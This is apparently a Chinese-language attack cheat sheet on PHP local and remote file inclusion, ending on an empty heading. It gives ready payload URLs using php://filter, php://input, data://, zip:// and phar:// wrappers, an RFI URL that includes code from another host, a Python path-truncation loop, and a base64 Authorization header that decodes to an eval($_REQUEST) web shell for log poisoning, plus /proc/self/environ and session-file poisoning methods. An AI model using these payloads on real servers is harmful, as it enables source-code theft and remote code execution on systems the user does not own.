文件包含就是利用include等函数，在引用其他文件（利用点1，可以越权查看源码等）时，设法引用恶意文件(含php代码)并执行（利用点2，利用可执行运行eval等危险函数，可以菜刀连接而无视文件的类型），主要包括本地文件包含LFI和远程文件包含RFI两种形式。

Php手册：include （或 require）语句会获取指定文件中存在的所有文本/代码/标记，并复制到使用 include 语句的文件中。

危险函数

**php:**include(),include\_once(), require(), require\_once(), fopen(),readfile()

**Jsp/servlet:** java.io.File(), java.io.FileReader()

**asp:** include file, include virtual

php wrapper的LFI(php 5.0.0及以上版本):

1.xxx.php?file=file://c://xxx.xx

2.xx.php?file=php://filter/read=/resource=xx.php

php wrapper的RFI:

RFI(PHP的allow\_url\_include需要为On，如果没有allow\_url\_include这一项则只需将allow\_url\_fopen设置为On即可）（在php.ini中配置）；

xxx.php?file=[http|HTTPS|FTP]://192.168.1.1/xxx.txt

wrapper(PHP):

（参考http://www.lorexxar.cn/2016/09/14/php-wei/）

1.xxx.php?file=php://input

postdata=...

2.xxx.php?file=data://text./plain,....(postdata)

其他一些文件包含协议(http://blog.ourren.com/2015/03/16/phar\_include\_exploit/)：

file:// — Accessing local filesystem

http:// — Accessing HTTP(s) URLs

ftp:// — Accessing FTP(s) URLs

php:// — Accessing various I/O streams

示例：php://filter/read=convert.base64-encode/resource=flag.php（其中，使用php://filter伪协议时，base64解码部分read=convert.base64-encode目前看来必须要，原因待研究）

zlib:// — Compression Streams

data:// — Data (RFC 2397)

glob:// — Find pathnames matching pattern

phar:// — PHP Archive

ssh2:// — Secure Shell 2

rar:// — RAR

ogg:// — Audio streams

expect:// — Process Interaction Streams

zip://压缩协议

phar://压缩协议

ht<tp://192.168.32.87/index.php?url=zip://./upload/ad3ddcdebfa392942f2e00c331506d70.z>ip%23frj

http://192.168.32.87/index.php?url=phar://./upload/ad3ddcdebfa392942f2e00c331506d70.zip/frj

路径截断攻击

1. win下的路径截断：

win下文件路径的最大长度为258。并且在包含时使用的是绝对路径！（需要保证据对路径长度为258，实现截断）

1. linux下的路径截断：

Linux下文件路径最大长度为4098。apache 5.5以上版本肯定不可用，其他没有测试。

1. python代码

url=’xxxx’

for i in range(0,256,1):

res=urllib2.urlopen(url+'/'\*i)

if int(res.info()['content-length'])<100: #成功的判断条件

print url+'/'\*i

break;

针对apache日志的攻击：

HTTP HEAD中添加：Authorization=Basic PD9waHAgcGhwaW5mbygpPz46MTIzNTY=

注：PD9waHAgcGhwaW5mbygpPz46MTIzNTY=为base64(<?php phpinfo()?>:12356)PD9waHAgZXZhbCgkX1JFUVVFU1RbeXpqXSk/PjoxMjM1Ng==为<?php eval($\_REQUEST[yzj])?>:12356

针对/proc/self/environ的攻击方法

/proc/self/environ是Linux系统下的环境变量文件，用于保存系统的一些变量。访问者可通过修改浏览器的User Agent信息插入自己的内容到该文件，利用这一特性将php代码写入/proc/self/environ文件中，然后在有LFI漏洞的注入点中写入该文件的正确路径及文件名，而后结合php的路径截断特性来进行文件包含漏洞利用。

针对session文件的攻击方法

php session文件是php的session会话机制产生的文件，一般用于用户身份认证，会话状态管理等等。该文件一般存储在/tmp/(Linux) ，/var/lib/php/sessison/(Linux) ， c: \windows\temp\(Windows) 等目录下。当知道session存储路径时，我们可通过firefox的firebug插件查看当前SESSION ID（session文件名格式为： sess\_SESSIONID）， 然后在有LFI漏洞的注入点中写入session文件的路径及文件名，而后结合php的路径截断特性来进行文件包含漏洞利用。

其他文件包含攻击手段

